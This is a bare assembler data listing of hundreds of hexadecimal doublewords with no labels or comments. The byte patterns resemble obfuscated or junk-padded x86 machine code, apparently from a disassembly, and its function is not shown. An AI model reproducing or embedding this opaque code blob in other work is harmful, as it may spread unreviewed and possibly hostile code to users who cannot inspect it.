		dd 0AB000000h, 91A1CBDBh, 0D2816671h, 0F594C2Bh, 8Fh, 8E900h
		dd 0CD780000h, 0A3BA6B39h, 0D08B0767h, 0F5CAB70Fh, 0E97EDE80h
		dd 8, 0E96AE032h, 0C25D8436h, 0EF81BEB6h, 9D351C6h, 0C3BF0F50h
		dd 0B1D9805Bh, 0BE9h, 1C6F500h,	0A24BBD00h, 11C73A4Dh
		dd 66FE8B66h, 0E92798B9h, 8, 5FA3324Ch,	4288EC8Bh, 8E8h
		dd 6A645200h, 964A70C5h, 58ADB07Ah, 38B0Fh, 8B660000h
		dd 5F50F8C2h, 605611B5h, 0E923DB80h, 14h, 676AFE42h, 0B50980A4h
		dd 0B13792C7h, 293870C3h, 0B920B102h, 0E9F95A61h, 12h
		dd 5A51231Ah, 6EE1086h,	90AB183Eh, 2806408Ch, 0CE9D7C9h
		dd 7A000000h, 6A882440h, 0AC73B6C1h, 506763C9h,	5E9h, 0FF7A5400h
		dd 665F13DAh, 6C81EF81h, 3820Fh, 0BF0F0000h, 5870FCEh
		dd 66000000h, 2455D181h, 5CBEBA66h, 9E9h, 0B9E6F800h, 87FB7C8Fh
		dd 8D0F22A3h, 11h, 6E8h, 5670E100h, 0B9691FB9h,	11CD3FA0h
		dd 0D3B70F5Bh, 66C68B66h, 0C0D1CE81h, 0D9C18166h, 2056BBABh
		dd 12E86B08h, 1000000h,	8307E97Dh, 0BEA34391h, 85521A62h
		dd 4AD7734Fh, 99BB6643h, 54BF5BCBh, 6621A7F0h, 8160F78Bh
		dd 0D71C82C6h, 7E9614Ch, 0EE000000h, 0DE367380h, 0FF9944Ah
		dd 58Dh, 0D8816600h, 0BE911FDh,	0A2000000h, 6646C19Ah
		dd 82277779h, 0F8F8589Dh, 68D0Fh, 890F0000h, 0
		dd 0F9C7B70Fh, 3399BF66h, 0C3CB8166h, 8E990h, 192E0000h
		dd 0EAD19101h, 840F3D7Fh, 0Ah, 48F0Fh, 0BF660000h, 0E480D7BDh
		dd 13E9F584h, 0F3000000h, 4877047Ah, 0CA72ACFh,	482A763Fh
		dd 56E02E88h, 8B66B1A9h, 8E9F7h, 64F60000h, 9D6E07CEh
		dd 8E0F686Ch, 1Ch, 14E8h, 515D8D00h, 2F58810Ch,	18422978h
		dd 0C11BCF9Fh, 0DC72675h, 5A09B6F4h, 7AB86656h,	13E959F1h
		dd 28000000h, 0B84F44C1h, 983E8620h, 61455FDDh,	0A8371362h
		dd 8B0F7B52h, 5, 0D4EB14B8h, 5E95Dh, 0CE490000h, 66C81FD2h
		dd 60CAA3BEh, 4F9AB966h, 0FFB70F60h, 0C68A6161h, 11850Fh
		dd 0CE90000h, 8D000000h, 9061E3B5h, 7C2514A2h, 0F186FA9h
		dd 28Ch, 0F3FB200h, 8166C8B7h, 0B911B3E8h, 1D872B82h, 3189E881h
		dd 11E87ED3h, 0A4000000h, 7C932BC7h, 5D78039Fh,	4C50E32Eh
		dd 0FDF30719h, 5810Fh, 81660000h, 5E1381F1h, 9090BA66h
		dd 0BEC2B70Fh, 1CCC602Bh, 13E9h, 0C0368D00h, 5879F1D2h
		dd 1FD58DF7h, 6C76A9D5h, 0C22C17FBh, 840Fh, 7E80000h, 9F000000h
		dd 0C1C25299h, 5E9AD5Eh, 0EB000000h, 0E761B0F1h, 4166B95Ah
		dd 8E0F3979h, 0
		dd 0EE812AB4h, 34C5F374h, 0B8E0Fh, 870F0000h, 5, 39F78166h
		dd 0C9816605h, 830F6B40h, 0Bh, 8D0F60h,	80000000h, 0B661B4EDh
		dd 0FEBF0FB1h, 0F2B70F60h, 0E861C88Bh, 12h, 88298EF6h
		dd 273B62F9h, 0C613A3C6h, 0CB5C8487h, 8B0FBD10h, 16h, 11E9h
		dd 9B0E900h, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh, 0E95B83C7h
		dd 9, 0DC32C795h, 25694DEBh, 0BF66533Fh, 665B629Ah, 30E2EA81h
		dd 7E9h, 7AD95C00h, 281FF282h, 14E8h, 0C0128F00h, 0EC89E71Eh
		dd 0B81F4286h, 0C1F0A010h, 5614257Ch, 128E0FF5h, 0E9000000h
		dd 0Dh,	9F15BF23h, 48D73162h, 31DBD9AFh, 8A0F59CEh, 10h
		dd 8E8h, 2E225B00h, 84A2E0FAh, 58CE8A89h, 0E6815F52h, 38FA6993h
		dd 0D6816660h, 0E8516001h, 0Fh,	0A382257Ah, 95E2B26Fh
		dd 5BCD9275h, 59C4A1D4h, 8B666158h, 66E18ACFh, 0E78ACE8Bh
		dd 38CDBE66h, 58562BB1h, 3860Fh, 8B660000h, 0C3BF0FCAh
		dd 9890Fh, 66600000h, 0FF852BFh, 8061FEBFh, 8166CBCCh
		dd 66C0A6C8h, 0FCF65BFh, 583h, 0BF0F5200h, 5E95FFEh, 7B000000h
		dd 40CBAC55h, 6660F8FCh, 0DE81D88Bh, 6400E83Dh,	0BFDE8B61h
		dd 70B74959h, 0C5B9C88Bh, 80641DA2h, 6AB208E6h,	6E8h, 0FBF43100h
		dd 807461DFh, 0B55805D3h, 58F0F54h, 66000000h, 0EDC6DB81h
		dd 0FE960h, 51080000h, 0DDC84C71h, 1F8BD08Fh, 9D635F0Bh
		dd 0FE9CFh, 72970000h, 7A1D0713h, 8B0AB70Eh, 1A7B5E9h
		dd 9E96117h, 0B6000000h, 0D0B2E598h, 0CC8551B4h, 3870Fh
		dd 0B70F0000h, 0DBBF0FC9h, 0A880Fh, 5E90000h, 54000000h
		dd 1D6F941Ah, 6660F28Bh, 0E211E181h, 20F1BE66h,	74A1BE61h
		dd 12E90121h, 59000000h, 349D069Fh, 11FF97BDh, 864EE295h
		dd 941881CCh, 81CE8BD5h, 5969B1CBh, 99BE6064h, 61316F94h
		dd 0FBB70FFCh, 11E951h,	44250000h, 24CAF063h, 0E89898Ah
		dd 0EA4DD244h, 5F4E2CE3h, 8E950h, 11250000h, 0A3882343h
		dd 665ADD6Dh, 0F800E3BEh, 0B86667B5h, 0D881B348h, 52C40DA1h
		dd 6088E380h, 18B0Fh, 8AF80000h, 0B70F61F9h, 333EB8C1h
		dd 66600E90h, 0FE233BEh, 18Dh, 0E961F900h, 0Dh,	64BF174h
		dd 5CB57CB1h, 0E3E7E8CAh, 0DAB70FDBh, 0B2F88B66h, 0C7816687h
		dd 8B0FECB6h, 3, 0E9DEB70Fh, 0Bh, 9C41238Ah, 0B32535B9h
		dd 0E974E5A2h, 5, 3127FC3Ah, 0FCFBB162h, 0DFBF0F60h, 81D18B61h
		dd 0F29A62D6h, 0E9D98B34h, 12h,	96771284h, 0C549D92Dh
		dd 5632F19Dh, 46E4A40Bh, 5E87A63h, 60000000h, 2A49979h
		dd 850F60h, 66000000h, 0C5F3EE81h, 0AE85861h, 8E000000h
		dd 3F57DC5Eh, 36F466EBh, 2810FD9h, 60000000h, 0BF0F5B61h
		dd 0D28166D8h, 0DE9EDEAh, 0A5000000h, 6C6AB5FAh, 1C4898Fh
		dd 0B8BDC796h, 5830Fh, 0A5B80000h, 0BA666A02h, 5183AF97h
		dd 0C35EDE81h, 66F864B0h, 3844C681h, 9678C081h,	0C28B3078h
		dd 13E9h, 9EA43500h, 662C3B31h,	0C3D2537h, 55A1672Dh, 4DD0210Ah
		dd 0EB4BD081h, 8C0F1031h, 5, 0D78B6656h, 7BE5805Ah, 810FD08Bh
		dd 0
		dd 11E9h, 4BC4AB00h, 95D2DC6Bh,	0D79705A5h, 85B9CC1Eh
		dd 0E960AEA4h, 12h, 4E5B298h, 0C91E4A88h, 7215483Dh, 0EF43FD19h
		dd 8A0F8803h, 3, 61F78B66h, 12E8h, 7F33FE00h, 0A65F28CCh
		dd 0C8ED8D9Fh, 0D5C55174h, 0E95B86E7h, 0Fh, 2736CAEAh
		dd 3203F91Bh, 36E96AE0h, 58C25D84h, 68F0Fh, 0D6810000h
		dd 3EB741EDh, 5E88EB1h,	8000000h, 0C168BDF7h, 88DEC081h
		dd 665F5E2Ch, 81A494BBh, 98EE90D1h, 0BFF86064h,	5E1943F1h
		dd 13E961h, 59F60000h, 2A3C6992h, 0DA9F3DF6h, 8C6B9B33h
		dd 0BDDB25CDh, 56E081E4h, 8B1413F2h, 47CF81F3h,	8B1405ECh
		dd 6DCD80FBh, 35EE8166h, 0F5ECBEDFh, 0D28146CDh, 73691422h
		dd 0FFA51ABEh, 6E903h, 8CD0000h, 11E5416Ah, 0A07FC281h
		dd 605114DEh, 0CE9D88Ah, 0B1000000h, 0AA5B9B83h, 53685F8Ah
		dd 61518B92h, 0DE81665Eh, 8166D474h, 0F4FC4CAh,	0E957C3B7h
		dd 7, 0E38FE626h, 5ED32AC3h, 37F68166h,	0D8816609h, 13E81983h
		dd 7C000000h, 45EC668h,	0B7B2420Bh, 3849E29Eh, 0A127EC58h
		dd 0E95B3295h, 12h, 2EC638F7h, 936CEED6h, 0B2A13AAFh, 2538AC54h
		dd 0FC6082D8h, 66B6B361h, 9583C281h, 3800Fh, 8B660000h
		dd 10E9F0h, 0CAD20000h,	75A6B58Eh, 1F64CDE5h, 63270E6Ah
		dd 0BF0F3A65h, 1C800FFAh, 0E8000000h, 0Ch, 6E0861ABh, 5ABAD0F8h
		dd 69892A11h, 5E9h, 0D09D8A00h,	0B25E1CE9h, 3DBF6674h
		dd 0C4B866D9h, 99D0816Fh, 0F928A0A5h, 0A3B8D2B1h, 0F87DA9EAh
		dd 890Fh, 830F0000h, 1Bh, 10E8h, 81F87500h, 492EE38Ch
		dd 982B1E5Ch, 24BB1240h, 0D18166A5h, 0E95B27F8h, 0Fh, 9EE5ACCFh
		dd 57404380h, 8E82BEC3h, 0E98592FDh, 8,	578145BFh, 67542B0Ah
		dd 0C8D18166h, 0DD80FC22h, 0EE978h, 0E7B50000h,	723117A6h
		dd 6622233Dh, 16CCCDDDh, 66D6BF0Fh, 512766B8h, 816659F8h
		dd 0B8D0FBD6h, 2364C64Bh, 1C6DA4BEh, 13E968h, 0C6640000h
		dd 1D8AE092h, 0A73AAD1Fh, 9F91279Ch, 0F14C48CEh, 0BB6651D3h
		dd 0F5FB591h, 6660D9B7h, 0DE8BCE8Bh, 0C3E08061h, 0A09B56B9h
		dd 38C0F6Bh, 80000000h,	7BB28E5h, 66296F4Dh, 0DCDFC681h
		dd 0E9FE8B66h, 13h, 8A0632C1h, 35B9243h, 0ED0A49D4h, 4CDE608Fh
		dd 6609FDAFh, 0B866CF8Bh, 81665495h, 0F9D30CD7h, 0FFAB70Fh
		dd 88Dh, 0D0815100h, 563AF41Bh,	5EB6F95Bh, 5E9h, 0E721EB00h
		dd 13E97ED2h, 2D000000h, 6414A3A1h, 1427A904h, 0CE1C81E8h
		dd 419A224Fh, 47B48FB5h, 0F242BF66h, 8E8h, 0C278C200h
		dd 0C8E56EDFh, 8B0F58FCh, 1Fh, 0BE8h, 1F381600h, 0EE0DF1DEh
		dd 31BA4119h, 8E8h, 9C97E400h, 10848B37h, 0F5B5E9Ch, 0FE8BD3B7h
		dd 13C38053h, 7B86659h,	8E0F6064h, 3, 0F98DF380h, 5E961h
		dd 45760000h, 50228382h, 0A554B966h, 28B86659h,	0A2CB8039h
		dd 0AE960h, 0BE190000h,	0D00E5D98h, 406011F0h, 0EABE6660h
		dd 66616197h, 8E9FE8Bh,	4F000000h, 0D54F7791h, 0B96FB759h
		dd 48833AA5h, 736CB866h, 810FF580h, 0C2EF97F7h,	0B70FF90Eh
		dd 840FD6h, 0B6000000h,	8166F92Fh, 0F9048DFh, 58Ch, 3147BB00h
		dd 0F88B12B8h, 11E9h, 6B732300h, 91205944h, 0AEE932E2h
		dd 58F38A6h, 0DE8B7949h, 0AE9h,	1A0DE500h, 32FB29B3h, 0FC9D2C68h
		dd 3EC9B866h, 2880Fh, 5EB10000h, 6102B260h, 5E78150h, 5F259532h
		dd 66FB8B66h, 464E381h,	2EA8166h, 0CE8D7h, 663D0000h, 5491966h
		dd 95583743h, 58F81013h, 0BE5187B0h, 78721E6Bh,	0F18B6658h
		dd 6880Fh, 0E0810000h, 3D1227BDh, 0F8C181FCh, 573AF452h
		dd 80F78B60h, 5A617CEBh, 6E9h, 0BE92900h, 8A661E31h, 0B6ADB8F3h
		dd 0BE91656h, 9000000h,	0F717BCA3h, 52BB6052h, 10E8453Ch
		dd 73000000h, 0AD88DD83h, 0FCF5C43Dh, 6DF6DA48h, 8B73E612h
		dd 0F88A5FF7h, 0DA8BDE8Bh, 95C08166h, 14E95339h, 96000000h
		dd 5EDEE245h, 6CCEBB2Ch, 0DDCCE273h, 48E7A7ABh,	5BBB54DFh
		dd 58A0Fh, 81660000h, 0E9E9F1F1h, 7, 0FB1CBCFAh, 0BE312F67h
		dd 7BAC889h, 69D9BAF5h,	60605921h, 12E96160h, 0DF000000h
		dd 944FD093h, 38041542h, 0FB8C79CDh, 9F820977h,	870F61C9h
		dd 3, 6191E380h, 0B65BB866h, 38D0Fh, 0BF0F0000h, 0FE9F9D0h
		dd 0E2000000h, 3E1A466Dh, 6EA6BCC4h, 1A42630Eh,	81667FB2h
		dd 0B8701BDEh, 0CA9A7AEh, 0FCF2B70Fh, 0ADADDF81h, 6BBE0F26h
		dd 0F5A265Ah, 289h, 66CB8B00h, 0B413EBBAh, 0F38B669Bh
		dd 8F0FF78Ah, 6, 6D90DB81h, 10E801E9h, 56000000h, 162BDC72h
		dd 6033F96Bh, 0D5266352h, 0F51E45FAh, 2870F58h,	8B000000h
		dd 0EE8CBh, 51C40000h, 0D71F07F5h, 0D97FE656h, 20147FCBh
		dd 565AEFB3h, 6870Fh, 8A0F0000h, 0
		dd 8060605Bh, 5661CCC7h, 61594EB5h, 0FE9h, 0F4A8D900h
		dd 0D8603980h, 0C7240DF7h, 0EEF1A1ABh, 0CA816060h, 7F223802h
		dd 0B4D98161h, 612B36B2h, 77CF8166h, 15CA818Fh,	50381E28h
		dd 665BCA8Bh, 11E9CF8Bh, 0DC000000h, 0C0625C8Dh, 5194344Eh
		dd 31AA7065h, 0B36461EFh, 8E9h,	3D249300h, 93487BF5h, 11E96Bh
		dd 94F50000h, 21745830h, 16970E9Ah, 7481103Fh, 51B9E6F8h
		dd 12E95Fh, 4B960000h, 0DF82C94Dh, 59EE4D2Eh, 0C5152DDAh
		dd 0E7F68451h, 0A890Fh,	8E0F0000h, 4, 40DFBE66h, 0EEE38166h
		dd 0DB816666h, 0BA664752h, 0BA665274h, 0BA66A591h, 12E9E294h
		dd 0E7000000h, 1717DC1Eh, 572732A8h, 0C7DFF1A0h, 3DCADBBCh
		dd 0FF08A0Bh, 0BB66C8B7h, 0F6047EDh, 28Eh, 0FC6DB600h
		dd 19820F61h, 0E9000000h, 14h, 378D19A2h, 7A2EA2F2h, 13495F31h
		dd 63BF4144h, 0E5A46A3Dh, 38C0Fh, 0F2800000h, 8A0F8Fh
		dd 0F000000h, 18Dh, 0AE8F900h, 45000000h, 8759051Fh, 59310C61h
		dd 8166500Bh, 5FE2EFC2h, 0BBBE665Eh, 0DF8B6616h, 2278C681h
		dd 0E8577FA1h, 0Dh, 0EB07C13Dh,	0D0A6960Eh, 1E9AF98h, 0CE9C1h
		dd 0F3000000h, 423FB884h, 0A3F7BEDEh, 5E5B8C12h, 0C9ABBB66h
		dd 0FC2B70Fh, 280h, 0B2F28B00h,	5E9FDh,	0DBD30000h, 0FD17753h
		dd 48Dh, 0E0BE6600h, 0BAB96619h, 6830F2Fh, 81000000h, 884E9AEBh
		dd 7840F59h, 56000000h,	8BE4F1B9h, 7E95840h, 0CC000000h
		dd 3F3071EDh, 33B2830Ah, 6652C38Bh, 598378B9h, 0CB06BEF5h
		dd 0F530D60h, 28Ch, 59616000h, 0DE8h, 43B5ED00h, 865B6767h
		dd 558EAA77h, 4EB6EFC1h, 0BE959h, 5D840000h, 0C03512C2h
		dd 0E672F01Bh, 10E8D3h,	91D40000h, 0A070BB4Eh, 4312F810h
		dd 0B688205Ah, 0E9603624h, 0Dh,	14C60E9Bh, 0E8E86579h
		dd 0CFAD9215h, 70B866B9h, 0F5A61BDh, 8D0FDFBFh,	1Ah, 11E8h
		dd 52867C00h, 5D5C7659h, 0F4FE446Ah, 0BCD83F8Eh, 0B70F46FAh
		dd 6E85ED1h, 0D7000000h, 7CD518B8h, 7DD98079h, 0F88B605Ah
		dd 68B0Fh, 0D9810000h, 7EA5F73Ah, 9890F61h, 0F000000h
		dd 38Ch, 1CCA8000h, 0BF66E68Ah,	0E681A7B9h, 1BDDA192h
		dd 0F4F08160h, 61539873h, 8E9h,	22F5CA00h, 5D73BDB8h, 0F28B6627h
		dd 10880Fh, 0BE90000h, 0C2000000h, 78DD733Dh, 168F73E7h
		dd 0CE93B27h, 4000000h,	0AD7873C2h, 98A0E8EDh, 0F86D4F9Fh
		dd 8B60EE80h, 0DF8B66F1h, 32C4BB66h, 2830Fh, 0DE8B0000h
		dd 0AE8h, 0B9727500h, 0C4FDA033h, 0FAC4235h, 0F5AD0B7h
		dd 485h, 0B2BA6600h, 325CBAAAh,	880F71BCh, 3, 0FDF8B66h
		dd 8166F9BFh, 661F19D8h, 0D08BFE8Bh, 0FD78B66h,	0AE9CFBFh
		dd 68000000h, 3B60D229h, 3DC3AC2Dh, 0ECC4808Ah,	0F3E0E981h
		dd 0BE976EBh, 0D2000000h, 0C7F73D7h, 0CCB66077h, 0B966ED51h
		dd 54BFBB74h, 0E875D71Ch, 6, 7CA423BFh,	0ADBBB63Eh, 5A237F11h
		dd 8B66DA8Ah, 8B6656CFh, 0C08159F7h, 2ACE6493h,	625943BFh
		dd 0CABBB96Eh, 0EE813C1Fh, 2727849Fh, 0FA8B6660h, 6661D08Bh
		dd 8A0FF88Bh, 1, 0FCF8BF9h, 884h, 2850F00h, 8A000000h
		dd 60FB8BE3h, 0EE8h, 1818700h, 9992A929h, 0CC645C8Fh, 0F90939Fh
		dd 86h,	81665E00h, 6163F5C8h, 9E9h, 94BE7D00h, 931DB6E3h
		dd 0F6BAC7EEh, 603B7A9Ah, 4BB8F781h, 830F5F5Fh,	4, 8123BB66h
		dd 5E961h, 861F0000h, 8118AE43h, 0C458E7F6h, 890F5326h
		dd 5, 0CE43C6B8h, 0D0815B54h, 7A0F411Eh, 0BB505E53h, 8484D8h
		dd 10E95Fh, 0BDFD0000h,	28764DA6h, 2D37FED9h, 72370DB0h
		dd 0C68B7EF3h, 0FD3B70Fh, 8B66C3B7h, 0D380FCC2h, 0FC0B428h
		dd 87h,	3880F00h, 66000000h, 0FF5DF8Bh,	382h, 0DE8B6600h
		dd 2890Fh, 0D68B0000h, 3810Fh, 0BF0F0000h, 5E8C0h, 0BCC0000h
		dd 605DE26Ah, 880Fh, 0B9660000h, 5F611D0Ch, 0F9BBCE80h
		dd 14E8h, 0D5729900h, 0D247C36Eh, 0C2E2C11Eh, 0E4F3E0B1h
		dd 0B31D96A7h, 0B0CF801Ah, 0CE18BB5Bh, 8B6610A2h, 605853FAh
		dd 613CD980h, 6E9h, 4FF1B000h, 0E99CC92Fh, 0Eh,	0F0F590AAh
		dd 25A0CBCCh, 0F061C330h, 60609D18h, 14E95952h,	0D4000000h
		dd 1514D235h, 0B4B1CE66h, 64359E40h, 0C0635407h, 61986AF9h
		dd 0D04455B8h, 66B36151h, 0E9ABE780h, 5, 6A51938Eh, 0C08166A0h
		dd 0B866134Dh, 8B66A7D0h, 0D9BF0FFEh, 60CA8B66h, 0BF0FF78Bh
		dd 0FF961DFh, 8B66D7B7h, 0F18B66F7h, 0A8C0Fh, 8A600000h
		dd 8D0FEEh, 61000000h, 6FCFBBF8h, 8AFC5332h, 0FE8D3h, 62FE0000h
		dd 39B998DAh, 0BD739D3Fh, 1E6F7F8Ch, 4ABB66D4h,	8A605F3Eh
		dd 816660ECh, 0E89217F7h, 11h, 3176A44Dh, 23151B83h, 51EAABBAh
		dd 8AF26F63h, 61615EB7h, 890Fh,	0B70F0000h, 8E9CBh, 0B31F0000h
		dd 4576401Ch, 0D98A8382h, 0E9BAB260h, 0Dh, 0AFBC1B3Ch
		dd 0C4690AADh, 0B6E83361h, 0EE961C4h, 0F8000000h, 0EA9825h
		dd 0AD817BCCh, 36AEF9BCh, 0C1BF0FA3h, 0C5F28166h, 0E9CB8B64h
		dd 10h,	7ABDE963h, 8214B1AEh, 6D567C7Ch, 0EDD4172h, 0EB816652h
		dd 605AB5EAh, 816608B1h, 61F722D9h, 11E8h, 148EBB00h, 0DF54A361h
		dd 1441EB00h, 0B00EFDD2h, 0B8BF7824h, 587E3734h, 7E9h
		dd 137B5600h, 0B69FB7Eh, 12E9h,	0E1E08F00h, 7FD9DB81h
		dd 44D4D012h, 59C32830h, 6695EF25h, 7260F681h, 0E9E9C080h
		dd 9, 27192C24h, 0A37C97C4h, 0C1816641h, 0C0815D94h, 772E306Fh
		dd 11E9h, 641AC400h, 791659B2h,	0B8117847h, 9B42EA02h
		dd 0BA669CB8h, 6160651Dh, 0F21C680h, 0A8Eh, 5E900h, 13500000h
		dd 8B2085FDh, 569AB5D9h, 10E8h,	8EE6F700h, 6AAB3A59h, 0FA9BB402h
		dd 5E1AE6CBh, 5EF78B30h, 8B0F5Fh, 66000000h, 50F5F88Bh
		dd 53605BF9h, 0CE8h, 0FD166500h, 0C863DCAAh, 0ABF85F9Ah
		dd 0B25B5EB0h, 0BE6661C5h, 0E860D201h, 13h, 0DE6E3643h
		dd 5E3ED472h, 0F1BD568Ch, 121BAA52h, 81CE02F4h,	6B1D56EFh
		dd 61F85E01h, 38E0Fh, 0B70F0000h, 0F6C080F1h, 86BD01BBh
		dd 6081B77Bh, 0D21BEF81h, 60612E5Eh, 10E9h, 0ED1F5D00h
		dd 27FD5592h, 569B5028h, 0E71C6802h, 0EE9E7h, 20CD0000h
		dd 57E78C45h, 60295660h, 0A84B9328h, 13E86061h,	0B4000000h
		dd 158895D7h, 2B6FF232h, 94847FBBh, 31233A21h, 8B66CF06h
		dd 0F8615FDAh, 0FE9h, 4375CC00h, 916D0FA7h, 7F950C85h
		dd 0C9BC9DFEh, 0F6816660h, 0FE97432h, 0ED000000h, 57F3213Fh
		dd 0CD7B983Ch, 4D7DBD2Ah, 0BB61183Bh, 6068DC7h,	0D7B0EBB4h
		dd 0FF83BA66h, 0A36AB866h, 0BB6603B0h, 0E7801515h, 26D381A4h
		dd 6666EC8Ch, 509DCBBFh, 0CE9h,	0D831FD00h, 37EC486Eh
		dd 937CE7DBh, 5E95ABFh,	0F5000000h, 706FF1D0h, 0E890EC80h
		dd 0Bh,	6F8938D0h, 6934E978h, 0FACC55Eh, 480h, 22BB6600h
		dd 60605A86h, 870Fh, 0D9800000h, 0CA8B6166h, 0E38A5061h
		dd 6E858h, 2FD60000h, 0FEB068F6h, 7FAC6FBEh, 0F0805E67h
		dd 0E68A52D9h, 0E681665Bh, 81665CDBh, 0E9F067D3h, 9, 359B4579h
		dd 1B023BDFh
		dd 0E0D3810Ah, 0F24543Ch, 0CE9FBBFh, 7D000000h,	3C41430Fh
		dd 0BEF7BC2h, 81AF010Fh, 0F106DED0h, 6E949h, 56460000h
		dd 0AC51FDC7h, 5E9h, 0DF1BBD00h, 0FF5D1C1h, 78Ch, 1870F00h
		dd 0F5000000h, 8B665160h, 0BF0F5ED8h, 0FE861DBh, 0E6000000h
		dd 6ADB9C9Bh, 581D2D12h, 3C5D26DBh, 0DE9225Eh, 8D000000h
		dd 7C2357A0h, 0D9B0198Fh, 480FDC76h, 8AD18B59h,	6E960F1h
		dd 9B000000h, 0FFBBAB91h, 0DA816655h, 8A61B363h, 0AAB3BECAh
		dd 0EE824B2h, 0C000000h, 4753AB89h, 0F540B1A2h,	0A76D1D20h
		dd 12E989h, 0E9E40000h,	97FD85F8h, 65AB2B3Fh, 8EDF2232h
		dd 0ACABA4B0h, 8C0F565Eh, 4, 2DFAB866h,	0EE9575Eh, 26000000h
		dd 8BA49053h, 939CD373h, 0F46CC9DFh, 81665EF4h,	8B04DFDAh
		dd 0C18B66F2h, 6660DE8Bh, 6C17DA81h, 61E6DB80h,	0CBBF0F60h
		dd 0DE861h, 0E2290000h,	8873D21Ah, 0A94DAB93h, 0E87CDBDEh
		dd 0Fh,	510386DFh, 6526F33Ah, 3238D34Fh, 0FDF2A97h, 81h
		dd 665A5F00h, 507AA3BEh, 5F44B357h, 11850F5Fh, 0E9000000h
		dd 0Ch,	86068638h, 12492C34h, 0BD09980Ah, 14E9F5h, 59AB0000h
		dd 69AAD83Dh, 0E55712A4h, 4BEC5CD7h, 58DBBA33h,	0E95779B9h
		dd 0Ch,	2E645665h, 25B92CC4h, 36A8FB0Fh, 820F575Ah, 3
		dd 5B86D980h, 0CADE8166h, 8BC78BB5h, 0FE9DEh, 0A3EB0000h
		dd 0D94B22E6h, 0B819074Fh, 39309B7Ah, 58E88130h, 0E86A9A12h
		dd 0Ch,	6223FD39h, 1F1A610Dh, 9D937A80h, 8E0F50h, 59000000h
		dd 850FF959h, 5, 577465B8h, 3FBF663Ah, 0C78B6697h, 0F9C8B70Fh
		dd 0CF816660h, 8B663FE4h, 0FE861D1h, 1A000000h,	0E70820DAh
		dd 5C5E0EC3h, 0FE8CE6A5h, 0F60F68Ch, 0DE9C6BFh,	0C9000000h
		dd 954DDFB7h, 0EF9CEFB6h, 0A74630E2h, 8B605F61h, 0DE9D6h
		dd 3E5D0000h, 4F75B0A5h, 0ED02CD63h, 612C4657h,	5E9h, 0E5475C00h
		dd 8D0F7D87h, 0Bh, 58B0Fh, 81660000h, 60619AE6h, 0EC5ED081h
		dd 61FC2DA8h, 0FE8h, 5FECD000h,	4BB3DC9Ah, 0AFDDA808h
		dd 39EF1924h, 13880Fh, 0DE80000h, 4D000000h, 66C229F8h
		dd 8878A87Dh, 55CE827Eh, 8B665A59h, 0E92FB3F2h,	9, 56C239B2h
		dd 0B895075Bh, 8342BEC6h, 7E95BACh, 0B8000000h,	6B9AECFDh
		dd 0BF6626EDh, 8B664D2Fh, 6FD680DAh, 10880Fh, 0BE90000h
		dd 0C6000000h, 2BBB374Ch, 7CBB0A47h, 8AF85667h,	0FBB70FD4h
		dd 2C42E981h, 0E9FC7510h, 0Dh, 76479775h, 10104802h, 0D6A00688h
		dd 3F20B938h, 0AE8682Eh, 8000000h, 9F21B312h, 9B3D5A9Eh
		dd 0FB8B668Dh, 95BE6659h, 0E8DE8B46h, 10h, 0B5A4BAD2h
		dd 3F925FF4h, 54A913BCh, 3A114A9Dh, 9DC65B8h, 66525B63h
		dd 0E859DA8Bh, 0Bh, 494A65B3h, 67AE5D0h, 0FAB3802h, 383h
		dd 0DBB70F00h, 600DB65Eh, 0AFEE8161h, 0E87C97FCh, 0Ah
		dd 526FC396h, 45D513C8h, 0F781EF2Fh, 39EAFAFBh,	7E1BF5Bh
		dd 0B65356EDh, 60FC5A1Ah, 0A70CE781h, 10E91E2Ch, 7D000000h
		dd 670699BBh, 0A26EEF0h, 0C0446454h, 611A92D0h,	9E96060h
		dd 66000000h, 142B4A4Fh, 9736FA0Ch, 810Fh, 61610000h, 66D78B66h
		dd 519C61B9h, 6820Fh, 870F0000h, 0
		dd 0F181665Fh, 56F9EE04h, 0AE9h, 0E42FF400h, 57863B23h
		dd 585F6EB9h, 0FAF28166h, 4BBB66BAh, 33CE81C9h,	0E87645E8h
		dd 0Fh,	0BFC366C0h, 51A705F5h, 42FEEAF6h, 66FF7DE7h, 805EDF8Bh
		dd 0B70FE9CCh, 61F960FEh, 5F85C081h, 8B663185h,	850FF8CEh
		dd 1, 22D180F9h, 0DE8B6657h, 0BAD78B58h, 7CF47DA9h, 0FE9h
		dd 7BE34700h, 2FF5896Eh, 595475DFh, 0C1FEDB10h,	0E9F0BF0Fh
		dd 0Eh,	0FE899934h, 0CD317867h,	8C5C7778h, 0C981C96Ch
		dd 0B9274ECh, 5E9h, 981DED00h, 6E9DE72h, 0FB000000h, 0ADB47C7Ah
		dd 0E4F380B1h, 0AFEE8166h, 0C38B6617h, 8E8h, 52E61300h
		dd 5F9074F9h, 5859505Eh, 12E960h, 1E6B0000h, 0A9EF89B8h
		dd 81C29228h, 7985EC36h, 25198A14h, 0BBB96660h,	615E50F4h
		dd 2870F61h, 0B6000000h, 2D97BF75h, 0DA8A08FFh,	0FC68B66h
		dd 1680h, 0EE85700h, 6C000000h,	47FE6994h, 2F0003A7h, 49997470h
		dd 0E85E5A85h, 0Bh, 6764958Bh, 8D3CDA0Eh, 0F8C46E3Ch, 0FB8B665Eh
		dd 0BFD1B70Fh, 19C15DA9h, 0D800Fh, 8E90000h, 0A2000000h
		dd 3EFBB595h, 8157533Bh, 555865D0h, 0EACB8103h,	665FF95Ch
		dd 4EE9F181h, 66F38B66h, 0FE9F08Bh, 1A000000h, 71F15A1Ah
		dd 1F510EECh, 0B1AC3BB1h, 2FB678AAh, 0FF581B3h,	581h, 0F3816600h
		dd 14E91EDDh, 76000000h, 0DB34538Ah, 0B36630C2h, 77F96735h
		dd 5D24B3A7h, 0E984D022h, 14h, 5D5A3E38h, 3330B548h, 5C448089h
		dd 86F72B8Bh, 0C8D1DFEBh, 4F63BA66h, 974EBE66h,	0C18B57F8h
		dd 73B8605Eh, 0F603F40h, 0F61F0B7h, 187h, 0D48AF500h, 1820Fh
		dd 0F5F90000h, 49BF66F8h, 25C1BA9Fh, 0F600DECh,	288h, 8B595100h
		dd 0D38B61F7h, 0DA8B66F9h, 0FAF0C881h, 81663496h, 66C37FCBh
		dd 0E860C38Bh, 0Fh, 24949989h, 7A1668ACh, 41E12049h, 0FB88632h
		dd 0E85BCFB7h, 14h, 28C5D26Ch, 0E5DBED9Eh, 4E07EED3h, 5CC06091h
		dd 0A2627667h, 615B6160h, 0E2BAC2BAh, 0F9B70F46h, 0E9D0B70Fh
